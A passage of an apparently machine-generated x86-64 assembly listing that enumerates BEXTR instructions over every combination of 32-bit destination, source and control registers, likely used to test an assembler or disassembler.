bextr r11d, r11d, esp
bextr r11d, r11d, esi
bextr r11d, r11d, ebp
bextr r11d, r12d, eax
bextr r11d, r12d, ebx
bextr r11d, r12d, ecx
bextr r11d, r12d, edx
bextr r11d, r12d, edi
bextr r11d, r12d, r8d
bextr r11d, r12d, r9d
bextr r11d, r12d, r10d
bextr r11d, r12d, r11d
bextr r11d, r12d, r12d
bextr r11d, r12d, r13d
bextr r11d, r12d, r14d
bextr r11d, r12d, r15d
bextr r11d, r12d, esp
bextr r11d, r12d, esi
bextr r11d, r12d, ebp
bextr r11d, r13d, eax
bextr r11d, r13d, ebx
bextr r11d, r13d, ecx
bextr r11d, r13d, edx
bextr r11d, r13d, edi
bextr r11d, r13d, r8d
bextr r11d, r13d, r9d
bextr r11d, r13d, r10d
bextr r11d, r13d, r11d
bextr r11d, r13d, r12d
bextr r11d, r13d, r13d
bextr r11d, r13d, r14d
bextr r11d, r13d, r15d
bextr r11d, r13d, esp
bextr r11d, r13d, esi
bextr r11d, r13d, ebp
bextr r11d, r14d, eax
bextr r11d, r14d, ebx
bextr r11d, r14d, ecx
bextr r11d, r14d, edx
bextr r11d, r14d, edi
bextr r11d, r14d, r8d
bextr r11d, r14d, r9d
bextr r11d, r14d, r10d
bextr r11d, r14d, r11d
bextr r11d, r14d, r12d
bextr r11d, r14d, r13d
bextr r11d, r14d, r14d
bextr r11d, r14d, r15d
bextr r11d, r14d, esp
bextr r11d, r14d, esi
bextr r11d, r14d, ebp
bextr r11d, r15d, eax
bextr r11d, r15d, ebx
bextr r11d, r15d, ecx
bextr r11d, r15d, edx
bextr r11d, r15d, edi
bextr r11d, r15d, r8d
bextr r11d, r15d, r9d
bextr r11d, r15d, r10d
bextr r11d, r15d, r11d
bextr r11d, r15d, r12d
bextr r11d, r15d, r13d
bextr r11d, r15d, r14d
bextr r11d, r15d, r15d
bextr r11d, r15d, esp
bextr r11d, r15d, esi
bextr r11d, r15d, ebp
bextr r11d, esp, eax
bextr r11d, esp, ebx
bextr r11d, esp, ecx
bextr r11d, esp, edx
bextr r11d, esp, edi
bextr r11d, esp, r8d
bextr r11d, esp, r9d
bextr r11d, esp, r10d
bextr r11d, esp, r11d
bextr r11d, esp, r12d
bextr r11d, esp, r13d
bextr r11d, esp, r14d
bextr r11d, esp, r15d
bextr r11d, esp, esp
bextr r11d, esp, esi
bextr r11d, esp, ebp
bextr r11d, esi, eax
bextr r11d, esi, ebx
bextr r11d, esi, ecx
bextr r11d, esi, edx
bextr r11d, esi, edi
bextr r11d, esi, r8d
bextr r11d, esi, r9d
bextr r11d, esi, r10d
bextr r11d, esi, r11d
bextr r11d, esi, r12d
bextr r11d, esi, r13d
bextr r11d, esi, r14d
bextr r11d, esi, r15d
bextr r11d, esi, esp
bextr r11d, esi, esi
bextr r11d, esi, ebp
bextr r11d, ebp, eax
bextr r11d, ebp, ebx
bextr r11d, ebp, ecx
bextr r11d, ebp, edx
bextr r11d, ebp, edi
bextr r11d, ebp, r8d
bextr r11d, ebp, r9d
bextr r11d, ebp, r10d
bextr r11d, ebp, r11d
bextr r11d, ebp, r12d
bextr r11d, ebp, r13d
bextr r11d, ebp, r14d
bextr r11d, ebp, r15d
bextr r11d, ebp, esp
bextr r11d, ebp, esi
bextr r11d, ebp, ebp
bextr r12d, eax, eax
bextr r12d, eax, ebx
bextr r12d, eax, ecx
bextr r12d, eax, edx
bextr r12d, eax, edi
bextr r12d, eax, r8d
bextr r12d, eax, r9d
bextr r12d, eax, r10d
bextr r12d, eax, r11d
bextr r12d, eax, r12d
bextr r12d, eax, r13d
bextr r12d, eax, r14d
bextr r12d, eax, r15d
bextr r12d, eax, esp
bextr r12d, eax, esi
bextr r12d, eax, ebp
bextr r12d, ebx, eax
bextr r12d, ebx, ebx
bextr r12d, ebx, ecx
bextr r12d, ebx, edx
bextr r12d, ebx, edi
bextr r12d, ebx, r8d
bextr r12d, ebx, r9d
bextr r12d, ebx, r10d
bextr r12d, ebx, r11d
bextr r12d, ebx, r12d
bextr r12d, ebx, r13d
bextr r12d, ebx, r14d
bextr r12d, ebx, r15d
bextr r12d, ebx, esp
bextr r12d, ebx, esi
bextr r12d, ebx, ebp
bextr r12d, ecx, eax
bextr r12d, ecx, ebx
bextr r12d, ecx, ecx
bextr r12d, ecx, edx
bextr r12d, ecx, edi
bextr r12d, ecx, r8d
bextr r12d, ecx, r9d
bextr r12d, ecx, r10d
bextr r12d, ecx, r11d
bextr r12d, ecx, r12d
bextr r12d, ecx, r13d
bextr r12d, ecx, r14d
bextr r12d, ecx, r15d
bextr r12d, ecx, esp
bextr r12d, ecx, esi
bextr r12d, ecx, ebp
bextr r12d, edx, eax
bextr r12d, edx, ebx
bextr r12d, edx, ecx
bextr r12d, edx, edx
bextr r12d, edx, edi
bextr r12d, edx, r8d
bextr r12d, edx, r9d
bextr r12d, edx, r10d
bextr r12d, edx, r11d
bextr r12d, edx, r12d
bextr r12d, edx, r13d
bextr r12d, edx, r14d
bextr r12d, edx, r15d
bextr r12d, edx, esp
bextr r12d, edx, esi
bextr r12d, edx, ebp
bextr r12d, edi, eax
bextr r12d, edi, ebx
bextr r12d, edi, ecx
bextr r12d, edi, edx
bextr r12d, edi, edi
bextr r12d, edi, r8d
bextr r12d, edi, r9d
bextr r12d, edi, r10d
bextr r12d, edi, r11d
bextr r12d, edi, r12d
bextr r12d, edi, r13d
bextr r12d, edi, r14d
bextr r12d, edi, r15d
bextr r12d, edi, esp
bextr r12d, edi, esi
bextr r12d, edi, ebp
bextr r12d, r8d, eax
bextr r12d, r8d, ebx
bextr r12d, r8d, ecx
bextr r12d, r8d, edx
bextr r12d, r8d, edi
bextr r12d, r8d, r8d
bextr r12d, r8d, r9d
bextr r12d, r8d, r10d
bextr r12d, r8d, r11d
bextr r12d, r8d, r12d
bextr r12d, r8d, r13d
bextr r12d, r8d, r14d
bextr r12d, r8d, r15d
bextr r12d, r8d, esp
bextr r12d, r8d, esi
bextr r12d, r8d, ebp
bextr r12d, r9d, eax
bextr r12d, r9d, ebx
bextr r12d, r9d, ecx
bextr r12d, r9d, edx
bextr r12d, r9d, edi
bextr r12d, r9d, r8d
bextr r12d, r9d, r9d
bextr r12d, r9d, r10d
bextr r12d, r9d, r11d
bextr r12d, r9d, r12d
bextr r12d, r9d, r13d
bextr r12d, r9d, r14d
bextr r12d, r9d, r15d
bextr r12d, r9d, esp
bextr r12d, r9d, esi
bextr r12d, r9d, ebp
bextr r12d, r10d, eax
bextr r12d, r10d, ebx
bextr r12d, r10d, ecx
bextr r12d, r10d, edx
bextr r12d, r10d, edi
bextr r12d, r10d, r8d
bextr r12d, r10d, r9d
bextr r12d, r10d, r10d
bextr r12d, r10d, r11d
bextr r12d, r10d, r12d
bextr r12d, r10d, r13d
bextr r12d, r10d, r14d
bextr r12d, r10d, r15d
bextr r12d, r10d, esp
bextr r12d, r10d, esi
bextr r12d, r10d, ebp
bextr r12d, r11d, eax
bextr r12d, r11d, ebx
bextr r12d, r11d, ecx
bextr r12d, r11d, edx
bextr r12d, r11d, edi
bextr r12d, r11d, r8d
bextr r12d, r11d, r9d
bextr r12d, r11d, r10d
bextr r12d, r11d, r11d
bextr r12d, r11d, r12d
bextr r12d, r11d, r13d
bextr r12d, r11d, r14d
bextr r12d, r11d, r15d
bextr r12d, r11d, esp
bextr r12d, r11d, esi
bextr r12d, r11d, ebp
bextr r12d, r12d, eax
bextr r12d, r12d, ebx
bextr r12d, r12d, ecx
bextr r12d, r12d, edx
bextr r12d, r12d, edi
bextr r12d, r12d, r8d
bextr r12d, r12d, r9d
bextr r12d, r12d, r10d
bextr r12d, r12d, r11d
bextr r12d, r12d, r12d
bextr r12d, r12d, r13d
bextr r12d, r12d, r14d
bextr r12d, r12d, r15d
bextr r12d, r12d, esp
bextr r12d, r12d, esi
bextr r12d, r12d, ebp
bextr r12d, r13d, eax
bextr r12d, r13d, ebx
bextr r12d, r13d, ecx
bextr r12d, r13d, edx
bextr r12d, r13d, edi
bextr r12d, r13d, r8d
bextr r12d, r13d, r9d
bextr r12d, r13d, r10d
bextr r12d, r13d, r11d
bextr r12d, r13d, r12d
bextr r12d, r13d, r13d
bextr r12d, r13d, r14d
bextr r12d, r13d, r15d
bextr r12d, r13d, esp
bextr r12d, r13d, esi
bextr r12d, r13d, ebp
bextr r12d, r14d, eax
bextr r12d, r14d, ebx
bextr r12d, r14d, ecx
bextr r12d, r14d, edx
bextr r12d, r14d, edi
bextr r12d, r14d, r8d
bextr r12d, r14d, r9d
bextr r12d, r14d, r10d
bextr r12d, r14d, r11d
bextr r12d, r14d, r12d
bextr r12d, r14d, r13d
bextr r12d, r14d, r14d
bextr r12d, r14d, r15d
bextr r12d, r14d, esp
bextr r12d, r14d, esi
bextr r12d, r14d, ebp
bextr r12d, r15d, eax
bextr r12d, r15d, ebx
bextr r12d, r15d, ecx
bextr r12d, r15d, edx
bextr r12d, r15d, edi
bextr r12d, r15d, r8d
bextr r12d, r15d, r9d
bextr r12d, r15d, r10d
bextr r12d, r15d, r11d
bextr r12d, r15d, r12d
bextr r12d, r15d, r13d
bextr r12d, r15d, r14d
bextr r12d, r15d, r15d
bextr r12d, r15d, esp
bextr r12d, r15d, esi
bextr r12d, r15d, ebp
bextr r12d, esp, eax
bextr r12d, esp, ebx
bextr r12d, esp, ecx
bextr r12d, esp, edx
bextr r12d, esp, edi
bextr r12d, esp, r8d
bextr r12d, esp, r9d
bextr r12d, esp, r10d
bextr r12d, esp, r11d
bextr r12d, esp, r12d
bextr r12d, esp, r13d
bextr r12d, esp, r14d
bextr r12d, esp, r15d
bextr r12d, esp, esp
bextr r12d, esp, esi
bextr r12d, esp, ebp
bextr r12d, esi, eax
bextr r12d, esi, ebx
bextr r12d, esi, ecx
bextr r12d, esi, edx
bextr r12d, esi, edi
bextr r12d, esi, r8d
bextr r12d, esi, r9d
bextr r12d, esi, r10d
bextr r12d, esi, r11d
bextr r12d, esi, r12d
bextr r12d, esi, r13d
bextr r12d, esi, r14d
bextr r12d, esi, r15d
bextr r12d, esi, esp
bextr r12d, esi, esi
bextr r12d, esi, ebp
bextr r12d, ebp, eax
bextr r12d, ebp, ebx
bextr r12d, ebp, ecx
bextr r12d, ebp, edx
bextr r12d, ebp, edi
bextr r12d, ebp, r8d
bextr r12d, ebp, r9d
bextr r12d, ebp, r10d
bextr r12d, ebp, r11d
bextr r12d, ebp, r12d
bextr r12d, ebp, r13d
bextr r12d, ebp, r14d
bextr r12d, ebp, r15d
bextr r12d, ebp, esp
bextr r12d, ebp, esi
bextr r12d, ebp, ebp
bextr r13d, eax, eax
bextr r13d, eax, ebx
bextr r13d, eax, ecx
bextr r13d, eax, edx
bextr r13d, eax, edi
bextr r13d, eax, r8d
bextr r13d, eax, r9d
bextr r13d, eax, r10d
bextr r13d, eax, r11d
bextr r13d, eax, r12d
bextr r13d, eax, r13d
bextr r13d, eax, r14d
bextr r13d, eax, r15d
bextr r13d, eax, esp
bextr r13d, eax, esi
bextr r13d, eax, ebp
bextr r13d, ebx, eax
bextr r13d, ebx, ebx
bextr r13d, ebx, ecx
bextr r13d, ebx, edx
bextr r13d, ebx, edi
bextr r13d, ebx, r8d
bextr r13d, ebx, r9d
bextr r13d, ebx, r10d
bextr r13d, ebx, r11d
bextr r13d, ebx, r12d
bextr r13d, ebx, r13d
bextr r13d, ebx, r14d
bextr r13d, ebx, r15d
bextr r13d, ebx, esp
bextr r13d, ebx, esi
bextr r13d, ebx, ebp
bextr r13d, ecx, eax
bextr r13d, ecx, ebx
bextr r13d, ecx, ecx
bextr r13d, ecx, edx
bextr r13d, ecx, edi
bextr r13d, ecx, r8d
bextr r13d, ecx, r9d
bextr r13d, ecx, r10d
bextr r13d, ecx, r11d
bextr r13d, ecx, r12d
bextr r13d, ecx, r13d
bextr r13d, ecx, r14d
bextr r13d, ecx, r15d
bextr r13d, ecx, esp
bextr r13d, ecx, esi
bextr r13d, ecx, ebp
bextr r13d, edx, eax
bextr r13d, edx, ebx
bextr r13d, edx, ecx
bextr r13d, edx, edx
bextr r13d, edx, edi
bextr r13d, edx, r8d
bextr r13d, edx, r9d
bextr r13d, edx, r10d
bextr r13d, edx, r11d
bextr r13d, edx, r12d
bextr r13d, edx, r13d
bextr r13d, edx, r14d
bextr r13d, edx, r15d
bextr r13d, edx, esp
bextr r13d, edx, esi
bextr r13d, edx, ebp
bextr r13d, edi, eax
bextr r13d, edi, ebx
bextr r13d, edi, ecx
bextr r13d, edi, edx
bextr r13d, edi, edi
bextr r13d, edi, r8d
bextr r13d, edi, r9d
bextr r13d, edi, r10d
bextr r13d, edi, r11d
bextr r13d, edi, r12d
bextr r13d, edi, r13d
bextr r13d, edi, r14d
bextr r13d, edi, r15d
bextr r13d, edi, esp
bextr r13d, edi, esi
bextr r13d, edi, ebp
bextr r13d, r8d, eax
bextr r13d, r8d, ebx
bextr r13d, r8d, ecx
bextr r13d, r8d, edx
bextr r13d, r8d, edi
bextr r13d, r8d, r8d
bextr r13d, r8d, r9d
bextr r13d, r8d, r10d
bextr r13d, r8d, r11d
bextr r13d, r8d, r12d
bextr r13d, r8d, r13d
bextr r13d, r8d, r14d
bextr r13d, r8d, r15d
bextr r13d, r8d, esp
bextr r13d, r8d, esi
bextr r13d, r8d, ebp
bextr r13d, r9d, eax
bextr r13d, r9d, ebx
bextr r13d, r9d, ecx
bextr r13d, r9d, edx
bextr r13d, r9d, edi
bextr r13d, r9d, r8d
bextr r13d, r9d, r9d
bextr r13d, r9d, r10d
bextr r13d, r9d, r11d
bextr r13d, r9d, r12d
bextr r13d, r9d, r13d
bextr r13d, r9d, r14d
bextr r13d, r9d, r15d
bextr r13d, r9d, esp
bextr r13d, r9d, esi
bextr r13d, r9d, ebp
bextr r13d, r10d, eax
bextr r13d, r10d, ebx
bextr r13d, r10d, ecx
bextr r13d, r10d, edx
bextr r13d, r10d, edi
bextr r13d, r10d, r8d
bextr r13d, r10d, r9d
bextr r13d, r10d, r10d
bextr r13d, r10d, r11d
bextr r13d, r10d, r12d
bextr r13d, r10d, r13d
bextr r13d, r10d, r14d
bextr r13d, r10d, r15d
bextr r13d, r10d, esp
bextr r13d, r10d, esi
bextr r13d, r10d, ebp
bextr r13d, r11d, eax
bextr r13d, r11d, ebx
bextr r13d, r11d, ecx
bextr r13d, r11d, edx
bextr r13d, r11d, edi
bextr r13d, r11d, r8d
bextr r13d, r11d, r9d
bextr r13d, r11d, r10d
bextr r13d, r11d, r11d
bextr r13d, r11d, r12d
bextr r13d, r11d, r13d
bextr r13d, r11d, r14d
bextr r13d, r11d, r15d
bextr r13d, r11d, esp
bextr r13d, r11d, esi
bextr r13d, r11d, ebp
bextr r13d, r12d, eax
bextr r13d, r12d, ebx
bextr r13d, r12d, ecx
bextr r13d, r12d, edx
bextr r13d, r12d, edi
bextr r13d, r12d, r8d
bextr r13d, r12d, r9d
bextr r13d, r12d, r10d
bextr r13d, r12d, r11d
bextr r13d, r12d, r12d
bextr r13d, r12d, r13d
bextr r13d, r12d, r14d
bextr r13d, r12d, r15d
bextr r13d, r12d, esp
bextr r13d, r12d, esi
bextr r13d, r12d, ebp
bextr r13d, r13d, eax
bextr r13d, r13d, ebx
bextr r13d, r13d, ecx
bextr r13d, r13d, edx
bextr r13d, r13d, edi
bextr r13d, r13d, r8d
bextr r13d, r13d, r9d
bextr r13d, r13d, r10d
bextr r13d, r13d, r11d
bextr r13d, r13d, r12d
bextr r13d, r13d, r13d
bextr r13d, r13d, r14d
bextr r13d, r13d, r15d
bextr r13d, r13d, esp
bextr r13d, r13d, esi
bextr r13d, r13d, ebp
bextr r13d, r14d, eax
bextr r13d, r14d, ebx
bextr r13d, r14d, ecx
bextr r13d, r14d, edx
bextr r13d, r14d, edi
bextr r13d, r14d, r8d
bextr r13d, r14d, r9d
bextr r13d, r14d, r10d
bextr r13d, r14d, r11d
bextr r13d, r14d, r12d
bextr r13d, r14d, r13d
bextr r13d, r14d, r14d
bextr r13d, r14d, r15d
bextr r13d, r14d, esp
bextr r13d, r14d, esi
bextr r13d, r14d, ebp
bextr r13d, r15d, eax
bextr r13d, r15d, ebx
bextr r13d, r15d, ecx
bextr r13d, r15d, edx
bextr r13d, r15d, edi
bextr r13d, r15d, r8d
bextr r13d, r15d, r9d
bextr r13d, r15d, r10d
bextr r13d, r15d, r11d
bextr r13d, r15d, r12d
bextr r13d, r15d, r13d
bextr r13d, r15d, r14d
bextr r13d, r15d, r15d
bextr r13d, r15d, esp
bextr r13d, r15d, esi
bextr r13d, r15d, ebp
bextr r13d, esp, eax
bextr r13d, esp, ebx
bextr r13d, esp, ecx
bextr r13d, esp, edx
bextr r13d, esp, edi
bextr r13d, esp, r8d
bextr r13d, esp, r9d
bextr r13d, esp, r10d
bextr r13d, esp, r11d
bextr r13d, esp, r12d
bextr r13d, esp, r13d
bextr r13d, esp, r14d
bextr r13d, esp, r15d
bextr r13d, esp, esp
bextr r13d, esp, esi
bextr r13d, esp, ebp
bextr r13d, esi, eax
bextr r13d, esi, ebx
bextr r13d, esi, ecx
bextr r13d, esi, edx
bextr r13d, esi, edi
bextr r13d, esi, r8d
bextr r13d, esi, r9d
bextr r13d, esi, r10d
bextr r13d, esi, r11d
bextr r13d, esi, r12d
bextr r13d, esi, r13d
bextr r13d, esi, r14d
bextr r13d, esi, r15d
bextr r13d, esi, esp
bextr r13d, esi, esi
bextr r13d, esi, ebp
bextr r13d, ebp, eax
bextr r13d, ebp, ebx
bextr r13d, ebp, ecx
bextr r13d, ebp, edx
bextr r13d, ebp, edi
bextr r13d, ebp, r8d
bextr r13d, ebp, r9d
bextr r13d, ebp, r10d
bextr r13d, ebp, r11d
bextr r13d, ebp, r12d
bextr r13d, ebp, r13d
bextr r13d, ebp, r14d
bextr r13d, ebp, r15d
bextr r13d, ebp, esp
bextr r13d, ebp, esi
bextr r13d, ebp, ebp
bextr r14d, eax, eax
bextr r14d, eax, ebx
bextr r14d, eax, ecx
bextr r14d, eax, edx
bextr r14d, eax, edi
bextr r14d, eax, r8d
bextr r14d, eax, r9d
bextr r14d, eax, r10d
bextr r14d, eax, r11d
bextr r14d, eax, r12d
bextr r14d, eax, r13d
bextr r14d, eax, r14d
bextr r14d, eax, r15d
bextr r14d, eax, esp
bextr r14d, eax, esi
bextr r14d, eax, ebp
bextr r14d, ebx, eax
bextr r14d, ebx, ebx
bextr r14d, ebx, ecx
bextr r14d, ebx, edx
bextr r14d, ebx, edi
bextr r14d, ebx, r8d
bextr r14d, ebx, r9d
bextr r14d, ebx, r10d
bextr r14d, ebx, r11d
bextr r14d, ebx, r12d
bextr r14d, ebx, r13d
bextr r14d, ebx, r14d
bextr r14d, ebx, r15d
bextr r14d, ebx, esp
bextr r14d, ebx, esi
bextr r14d, ebx, ebp
bextr r14d, ecx, eax
bextr r14d, ecx, ebx
bextr r14d, ecx, ecx
bextr r14d, ecx, edx
bextr r14d, ecx, edi
bextr r14d, ecx, r8d
bextr r14d, ecx, r9d
bextr r14d, ecx, r10d
bextr r14d, ecx, r11d
bextr r14d, ecx, r12d
bextr r14d, ecx, r13d
bextr r14d, ecx, r14d
bextr r14d, ecx, r15d
bextr r14d, ecx, esp
bextr r14d, ecx, esi
bextr r14d, ecx, ebp
bextr r14d, edx, eax
bextr r14d, edx, ebx
bextr r14d, edx, ecx
bextr r14d, edx, edx
bextr r14d, edx, edi
bextr r14d, edx, r8d
bextr r14d, edx, r9d
bextr r14d, edx, r10d
bextr r14d, edx, r11d
bextr r14d, edx, r12d
bextr r14d, edx, r13d
bextr r14d, edx, r14d
bextr r14d, edx, r15d
bextr r14d, edx, esp
bextr r14d, edx, esi
bextr r14d, edx, ebp
bextr r14d, edi, eax
bextr r14d, edi, ebx
bextr r14d, edi, ecx
bextr r14d, edi, edx
bextr r14d, edi, edi
bextr r14d, edi, r8d
bextr r14d, edi, r9d
bextr r14d, edi, r10d
bextr r14d, edi, r11d
bextr r14d, edi, r12d
bextr r14d, edi, r13d
bextr r14d, edi, r14d
bextr r14d, edi, r15d
bextr r14d, edi, esp
bextr r14d, edi, esi
bextr r14d, edi, ebp
bextr r14d, r8d, eax
bextr r14d, r8d, ebx
bextr r14d, r8d, ecx
bextr r14d, r8d, edx
bextr r14d, r8d, edi
bextr r14d, r8d, r8d
bextr r14d, r8d, r9d
bextr r14d, r8d, r10d
bextr r14d, r8d, r11d
bextr r14d, r8d, r12d
bextr r14d, r8d, r13d
bextr r14d, r8d, r14d
bextr r14d, r8d, r15d
bextr r14d, r8d, esp
bextr r14d, r8d, esi
bextr r14d, r8d, ebp
bextr r14d, r9d, eax
bextr r14d, r9d, ebx
bextr r14d, r9d, ecx
bextr r14d, r9d, edx
bextr r14d, r9d, edi
bextr r14d, r9d, r8d
bextr r14d, r9d, r9d
bextr r14d, r9d, r10d
bextr r14d, r9d, r11d
bextr r14d, r9d, r12d
bextr r14d, r9d, r13d
bextr r14d, r9d, r14d
bextr r14d, r9d, r15d
bextr r14d, r9d, esp
bextr r14d, r9d, esi
bextr r14d, r9d, ebp
bextr r14d, r10d, eax
bextr r14d, r10d, ebx
bextr r14d, r10d, ecx
bextr r14d, r10d, edx
bextr r14d, r10d, edi
bextr r14d, r10d, r8d
bextr r14d, r10d, r9d
bextr r14d, r10d, r10d
bextr r14d, r10d, r11d
bextr r14d, r10d, r12d
bextr r14d, r10d, r13d
bextr r14d, r10d, r14d
bextr r14d, r10d, r15d
bextr r14d, r10d, esp
bextr r14d, r10d, esi
bextr r14d, r10d, ebp
bextr r14d, r11d, eax
bextr r14d, r11d, ebx
bextr r14d, r11d, ecx
bextr r14d, r11d, edx
bextr r14d, r11d, edi
bextr r14d, r11d, r8d
bextr r14d, r11d, r9d
bextr r14d, r11d, r10d
bextr r14d, r11d, r11d
bextr r14d, r11d, r12d
bextr r14d, r11d, r13d
bextr r14d, r11d, r14d
bextr r14d, r11d, r15d
bextr r14d, r11d, esp
bextr r14d, r11d, esi
bextr r14d, r11d, ebp
bextr r14d, r12d, eax
bextr r14d, r12d, ebx
bextr r14d, r12d, ecx
bextr r14d, r12d, edx
bextr r14d, r12d, edi
bextr r14d, r12d, r8d
bextr r14d, r12d, r9d
bextr r14d, r12d, r10d
bextr r14d, r12d, r11d
bextr r14d, r12d, r12d
bextr r14d, r12d, r13d
bextr r14d, r12d, r14d
bextr r14d, r12d, r15d
bextr r14d, r12d, esp
bextr r14d, r12d, esi
bextr r14d, r12d, ebp
bextr r14d, r13d, eax
bextr r14d, r13d, ebx
bextr r14d, r13d, ecx
bextr r14d, r13d, edx
bextr r14d, r13d, edi
bextr r14d, r13d, r8d
bextr r14d, r13d, r9d
bextr r14d, r13d, r10d
bextr r14d, r13d, r11d
bextr r14d, r13d, r12d
bextr r14d, r13d, r13d
bextr r14d, r13d, r14d
bextr r14d, r13d, r15d
bextr r14d, r13d, esp
bextr r14d, r13d, esi
bextr r14d, r13d, ebp
bextr r14d, r14d, eax
bextr r14d, r14d, ebx
bextr r14d, r14d, ecx
bextr r14d, r14d, edx
bextr r14d, r14d, edi
bextr r14d, r14d, r8d
bextr r14d, r14d, r9d
bextr r14d, r14d, r10d
bextr r14d, r14d, r11d
bextr r14d, r14d, r12d
bextr r14d, r14d, r13d
bextr r14d, r14d, r14d
bextr r14d, r14d, r15d
bextr r14d, r14d, esp
bextr r14d, r14d, esi
bextr r14d, r14d, ebp
bextr r14d, r15d, eax
bextr r14d, r15d, ebx
bextr r14d, r15d, ecx
bextr r14d, r15d, edx
bextr r14d, r15d, edi
bextr r14d, r15d, r8d
bextr r14d, r15d, r9d
bextr r14d, r15d, r10d
bextr r14d, r15d, r11d
bextr r14d, r15d, r12d
bextr r14d, r15d, r13d
bextr r14d, r15d, r14d
bextr r14d, r15d, r15d
bextr r14d, r15d, esp
bextr r14d, r15d, esi
bextr r14d, r15d, ebp
bextr r14d, esp, eax
bextr r14d, esp, ebx
bextr r14d, esp, ecx
bextr r14d, esp, edx
bextr r14d, esp, edi
bextr r14d, esp, r8d
bextr r14d, esp, r9d
bextr r14d, esp, r10d
bextr r14d, esp, r11d
bextr r14d, esp, r12d
bextr r14d, esp, r13d
bextr r14d, esp, r14d
bextr r14d, esp, r15d
bextr r14d, esp, esp
bextr r14d, esp, esi
bextr r14d, esp, ebp
bextr r14d, esi, eax
bextr r14d, esi, ebx
bextr r14d, esi, ecx
bextr r14d, esi, edx
bextr r14d, esi, edi
bextr r14d, esi, r8d
bextr r14d, esi, r9d
bextr r14d, esi, r10d
bextr r14d, esi, r11d
bextr r14d, esi, r12d
bextr r14d, esi, r13d
bextr r14d, esi, r14d
bextr r14d, esi, r15d
bextr r14d, esi, esp
bextr r14d, esi, esi
bextr r14d, esi, ebp
bextr r14d, ebp, eax
bextr r14d, ebp, ebx
bextr r14d, ebp, ecx
bextr r14d, ebp, edx
bextr r14d, ebp, edi
bextr r14d, ebp, r8d
bextr r14d, ebp, r9d
bextr r14d, ebp, r10d
bextr r14d, ebp, r11d
bextr r14d, ebp, r12d
bextr r14d, ebp, r13d
bextr r14d, ebp, r14d
bextr r14d, ebp, r15d
bextr r14d, ebp, esp
bextr r14d, ebp, esi
bextr r14d, ebp, ebp
bextr r15d, eax, eax
bextr r15d, eax, ebx
bextr r15d, eax, ecx
bextr r15d, eax, edx
bextr r15d, eax, edi
bextr r15d, eax, r8d
bextr r15d, eax, r9d
bextr r15d, eax, r10d
bextr r15d, eax, r11d
bextr r15d, eax, r12d
bextr r15d, eax, r13d
bextr r15d, eax, r14d
bextr r15d, eax, r15d
bextr r15d, eax, esp
bextr r15d, eax, esi
bextr r15d, eax, ebp
bextr r15d, ebx, eax
bextr r15d, ebx, ebx
bextr r15d, ebx, ecx
bextr r15d, ebx, edx
bextr r15d, ebx, edi
bextr r15d, ebx, r8d
bextr r15d, ebx, r9d
bextr r15d, ebx, r10d
bextr r15d, ebx, r11d
bextr r15d, ebx, r12d
bextr r15d, ebx, r13d
bextr r15d, ebx, r14d
bextr r15d, ebx, r15d
bextr r15d, ebx, esp
bextr r15d, ebx, esi
bextr r15d, ebx, ebp
bextr r15d, ecx, eax
bextr r15d, ecx, ebx
bextr r15d, ecx, ecx
bextr r15d, ecx, edx
bextr r15d, ecx, edi
bextr r15d, ecx, r8d
bextr r15d, ecx, r9d
bextr r15d, ecx, r10d
bextr r15d, ecx, r11d
bextr r15d, ecx, r12d
bextr r15d, ecx, r13d
bextr r15d, ecx, r14d
bextr r15d, ecx, r15d
bextr r15d, ecx, esp
bextr r15d, ecx, esi
bextr r15d, ecx, ebp
bextr r15d, edx, eax
bextr r15d, edx, ebx
bextr r15d, edx, ecx
bextr r15d, edx, edx
bextr r15d, edx, edi
bextr r15d, edx, r8d
bextr r15d, edx, r9d
bextr r15d, edx, r10d
bextr r15d, edx, r11d
bextr r15d, edx, r12d
bextr r15d, edx, r13d
bextr r15d, edx, r14d
bextr r15d, edx, r15d
bextr r15d, edx, esp
bextr r15d, edx, esi
bextr r15d, edx, ebp
bextr r15d, edi, eax
bextr r15d, edi, ebx
bextr r15d, edi, ecx
bextr r15d, edi, edx
bextr r15d, edi, edi
bextr r15d, edi, r8d
bextr r15d, edi, r9d
bextr r15d, edi, r10d
bextr r15d, edi, r11d
bextr r15d, edi, r12d
bextr r15d, edi, r13d
bextr r15d, edi, r14d
bextr r15d, edi, r15d
bextr r15d, edi, esp
bextr r15d, edi, esi
bextr r15d, edi, ebp
bextr r15d, r8d, eax
bextr r15d, r8d, ebx
bextr r15d, r8d, ecx
bextr r15d, r8d, edx
bextr r15d, r8d, edi
bextr r15d, r8d, r8d
bextr r15d, r8d, r9d
bextr r15d, r8d, r10d
bextr r15d, r8d, r11d
bextr r15d, r8d, r12d
bextr r15d, r8d, r13d
bextr r15d, r8d, r14d
bextr r15d, r8d, r15d
bextr r15d, r8d, esp
bextr r15d, r8d, esi
bextr r15d, r8d, ebp
bextr r15d, r9d, eax
bextr r15d, r9d, ebx
bextr r15d, r9d, ecx
bextr r15d, r9d, edx
bextr r15d, r9d, edi
bextr r15d, r9d, r8d
bextr r15d, r9d, r9d
bextr r15d, r9d, r10d
bextr r15d, r9d, r11d
bextr r15d, r9d, r12d
bextr r15d, r9d, r13d
bextr r15d, r9d, r14d
bextr r15d, r9d, r15d
bextr r15d, r9d, esp
bextr r15d, r9d, esi
bextr r15d, r9d, ebp
bextr r15d, r10d, eax
bextr r15d, r10d, ebx
bextr r15d, r10d, ecx
bextr r15d, r10d, edx
bextr r15d, r10d, edi
bextr r15d, r10d, r8d
bextr r15d, r10d, r9d
bextr r15d, r10d, r10d
bextr r15d, r10d, r11d
bextr r15d, r10d, r12d
bextr r15d, r10d, r13d
bextr r15d, r10d, r14d
bextr r15d, r10d, r15d
bextr r15d, r10d, esp
bextr r15d, r10d, esi
bextr r15d, r10d, ebp
bextr r15d, r11d, eax
bextr r15d, r11d, ebx
bextr r15d, r11d, ecx
bextr r15d, r11d, edx
bextr r15d, r11d, edi
bextr r15d, r11d, r8d
bextr r15d, r11d, r9d
bextr r15d, r11d, r10d
bextr r15d, r11d, r11d
bextr r15d, r11d, r12d
bextr r15d, r11d, r13d
bextr r15d, r11d, r14d
bextr r15d, r11d, r15d
bextr r15d, r11d, esp
bextr r15d, r11d, esi
bextr r15d, r11d, ebp
bextr r15d, r12d, eax
bextr r15d, r12d, ebx
bextr r15d, r12d, ecx
bextr r15d, r12d, edx
bextr r15d, r12d, edi
bextr r15d, r12d, r8d
bextr r15d, r12d, r9d
bextr r15d, r12d, r10d
bextr r15d, r12d, r11d
bextr r15d, r12d, r12d
bextr r15d, r12d, r13d
bextr r15d, r12d, r14d
bextr r15d, r12d, r15d
bextr r15d, r12d, esp
bextr r15d, r12d, esi
bextr r15d, r12d, ebp
